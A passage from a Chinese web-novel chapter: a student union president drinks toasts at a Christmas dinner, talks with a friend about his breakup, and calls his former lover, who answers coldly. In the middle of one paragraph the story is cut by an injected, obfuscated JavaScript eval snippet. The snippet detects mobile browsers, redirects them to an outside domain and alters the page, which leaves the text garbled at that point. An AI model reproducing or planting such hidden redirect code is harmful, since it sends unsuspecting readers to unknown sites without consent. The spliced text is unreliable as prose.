蒋双不信中有些鄙夷:“真假的,你们学生会这么没人性?这种小情侣过的节日拉你们去聚会,真是惨无人道。” 蒋双顿了下,继续道:“诶你不是学生会会长么?你安排的?你女朋友不跟你闹啊,你不陪她?” 陈颂拉上衣服拉链,围上围巾:“不是我安排的。我也.....我也没女朋友。” “你没女朋友?”蒋双有些惊讶,“更假了吧,你这条件肯定很多女的追你啊。诶卧槽!有人狙老子!” 陈颂没再回他,开门出宿舍走了。 今晚的京市格外的冷,天气预报说后半夜会下雪。 这次聚餐地点是家中式餐馆,历届学生会团建聚餐都在这。开销都是AA,平均每人消费在150左右。这对于普通大学生来说是笔不小开支。 以往陈颂不参加,也有这个原因在里面。其实这些年他打工,获取学校奖学金以及一些学术比赛奖金已经存了不少钱。但他节省,一顿聚餐将近要吃掉他十顿饭钱。 陈颂想想不免有些肉疼,这么冷得天,寒风这么大,应该打车去的,但为了节省还是骑了小毛驴。 六点二十八分的时候陈颂到了聚餐地点,餐馆装修古典。陈颂看了眼群里发的房间号,上了二楼,楼梯拐角装点栩栩如生的小桃树,静雅美至。 包厢房门是开着的,里面有个巨大的圆桌。圆桌几乎坐满了人。众人见陈颂来了纷纷打招呼,一个比一个喊得兴奋:“会长好......会长好!会长好!” 陈颂礼貌地微笑回应:“你们好。” 副会道:“专门给你留了一个位置,会长来这吧。” 陈颂在他旁边坐下,左边一圈全是部长。右边坐着叶佳佳,叶佳佳旁边紧跟着汪宇安,俩人笑着不知道正在聊什么。 今天没有一个人迟到,最后一拨人也卡着时间跑进包厢。热气腾腾的菜一道道上桌,摆满了大圆桌,像满汉全席。 大家欢声笑语一片,把这一年的八卦都讲了个遍。 陈颂默默吃饭,没吃几口就饱了,静静听着他们讲话,思绪还是时不时飘向远方。 饭尽尾声有个传统项目,敬酒。 每个部员向部长敬酒,说敬酒词。所有部员说完,每个部长带着全部门的敬意再向会长敬酒。 每个人都不许躲酒,允许量力而行。 另,若果敬酒词说的不满意,有权驳回一直说到满意才能停下罚酒。 一圈轮下来,所有部员都已经敬完酒,气氛已全然被点爆。 接下来轮到五个部长两个副会给陈颂敬酒。 “共事三年,会长大人都是兢兢业业!天塌下来的工作任务都是你完成的!我敬你!有这样的毅力,你做什么工作都会成功的!”说完部长就干了一杯酒。 “好。”陈颂也跟着一口闷下。 陈颂第一次喝酒,这酒比想象中难喝,像双黄连口服液的气味,臭得他有些想吐,但还是很给面子的喝了。酒精灼烧而下,在陈颂体内渐渐沸腾。 “好话都给他说完了,那我就敬小点。敬会长大人吃饱睡饱身体好!健康没烦恼,美女怀里抱,幸福生活不得了!” “好!”大家纷纷鼓掌。 “上哪抄来的这么溜,还给你押上了啊!” 陈颂神经有些亢奋,也跟着一口干了酒。 吃好睡还真是他想要的。但他这辈子就不相信自己会有幸福生活,美女......呵.....顾行决倒是挺美的…… 祝酒词继续接着两杯,最后一杯到了叶佳佳手里。 叶佳佳举起酒杯:“他们那些都肤浅。我来,我敬你不管发生什么都有再次说爱的勇气!!!” 叶佳佳语罢便豪迈地一口灌下。周围再次响起热烈掌声和欢呼。 “佳姐牛逼!!!” 陈颂脑子有些迟钝,在消化完这句话之后,神经像被点燃的烟花般绽放。 再次说爱的勇气...... 陈颂像是被身体内某股奇怪的力量所驱动,跟着一饮而尽。这杯酒比前几杯格外滚烫。 祝酒词环节结束后大家又聊了会天。 叶佳佳神秘兮兮地凑过来问陈颂:“和女朋友最近最么样,上次吵架和好没?过这么久了也该和好了吧。” 叶佳佳平时是看不出陈颂情绪的,但看得出他的状态,最近一直都不太好,焉焉的。也没太敢问他,但她确实太好奇了,把陈颂迷得晕死的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379790|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是什么样的。 从陈颂的状态来看,这女的一定非常,十分难搞,是个狐狸精类型的女强人。 陈颂清白的脸颊浮着淡淡的红晕,浓密的睫毛轻颤,摇摇头:“分了。” “啊!”叶佳佳轻声尖叫了下,“分手理由是啥?” 陈颂扶额,轻叹一口气。该怎么说呢,他们之间分手的爆发点是因为顾行决骗他顾墨的事。可后面又发生了很多复杂的事,导致二人再也无法回到原来的位置上了。 叶佳佳见状也不多问理由,只道:“那你还喜欢她么?我看你好像放不下。” 陈颂的苦笑代替无声回答。 叶佳佳咬了口肉自顾自说着:“我觉得吧,你要是放不下你就回头。大家都说好马不吃回头草,但真正爱过的人怎么可能轻易就不再纠缠。那么轻松拍拍屁股走人的都是没真爱过的。最后能真正放下的都是撞破南墙的。” “感情这方面,道理大家都懂。但感情是不讲道理的。一直回头无非两种情况,要么破镜重圆,要么南墙撞破,心死了你自己就放下了。别人怎么劝都是没用的。” “你要是还喜欢她,就把她抢回来呗。” 陈颂呼吸有些快,耳边一直能听见自己的心跳声,此时强有力地跳动了几下:“抢不回来的。我跟他不是一个世界的人。” 叶佳佳喝了口酒,认真地说:“你不试试怎么知道?不是一个世界的又怎么会相遇?感情就是不讲任何道理,没有任何束缚的。掺杂了这些杂念后,爱情就变了质,不是爱,是权衡利弊了。” “别喝了,”汪宇安抢走叶佳佳的酒,“就你是人生大师。自己的事还搞不定呢,就别误人子弟了。” 叶佳佳愠怒道:“小屁孩你懂什么。大人说话你插什么嘴。”说着叶佳佳就转身去抢酒了。 只留陈颂一个人在沉思。 他觉得……叶佳佳说的对。 也许,叶佳佳说的对不对根本不重要,他只是很想顾行决,想找个理由去找顾行决。 聚餐结束,还有第二趴ktv。很多人都说有事先走了。 陈颂也没去,他站在冷风的街道中很久,不冷,浑身都很热,好像思念在他体内燃烧。 真的是最后一次了,顾行决要是接电话,他就再勇敢最后一次。 要是没接,他们就如这冬日里呼出的白雾,转瞬即逝,永远消散。 凌晨十二点。 像很多个深夜一样,电话响起和门铃一样的铃声。 顾行决接起了电话。 陈颂心跳得剧烈,他深呼吸着开口了,这次他没再沉默:“顾墨,圣诞快乐。” 对面沉默一阵,随后响起一段低沉而富有磁性的声音:“嗯。” “有什么事么。” 顾行决的声音很冷漠,很疏离,让陈颂滚烫的心冷了几分。 陈颂仰头看着慢慢飘起的雪屑,呼吸有些紊乱地道:“我想见你。能再见一面么。” 陈颂说出这句话几乎是用尽了全部的勇气,冷风钻进他微张的唇齿间,让他不禁有些颤栗。 最后一次了,顾墨...... 顾行决淡淡地冷笑了一声:“陈颂,你觉得你凭什么见我?”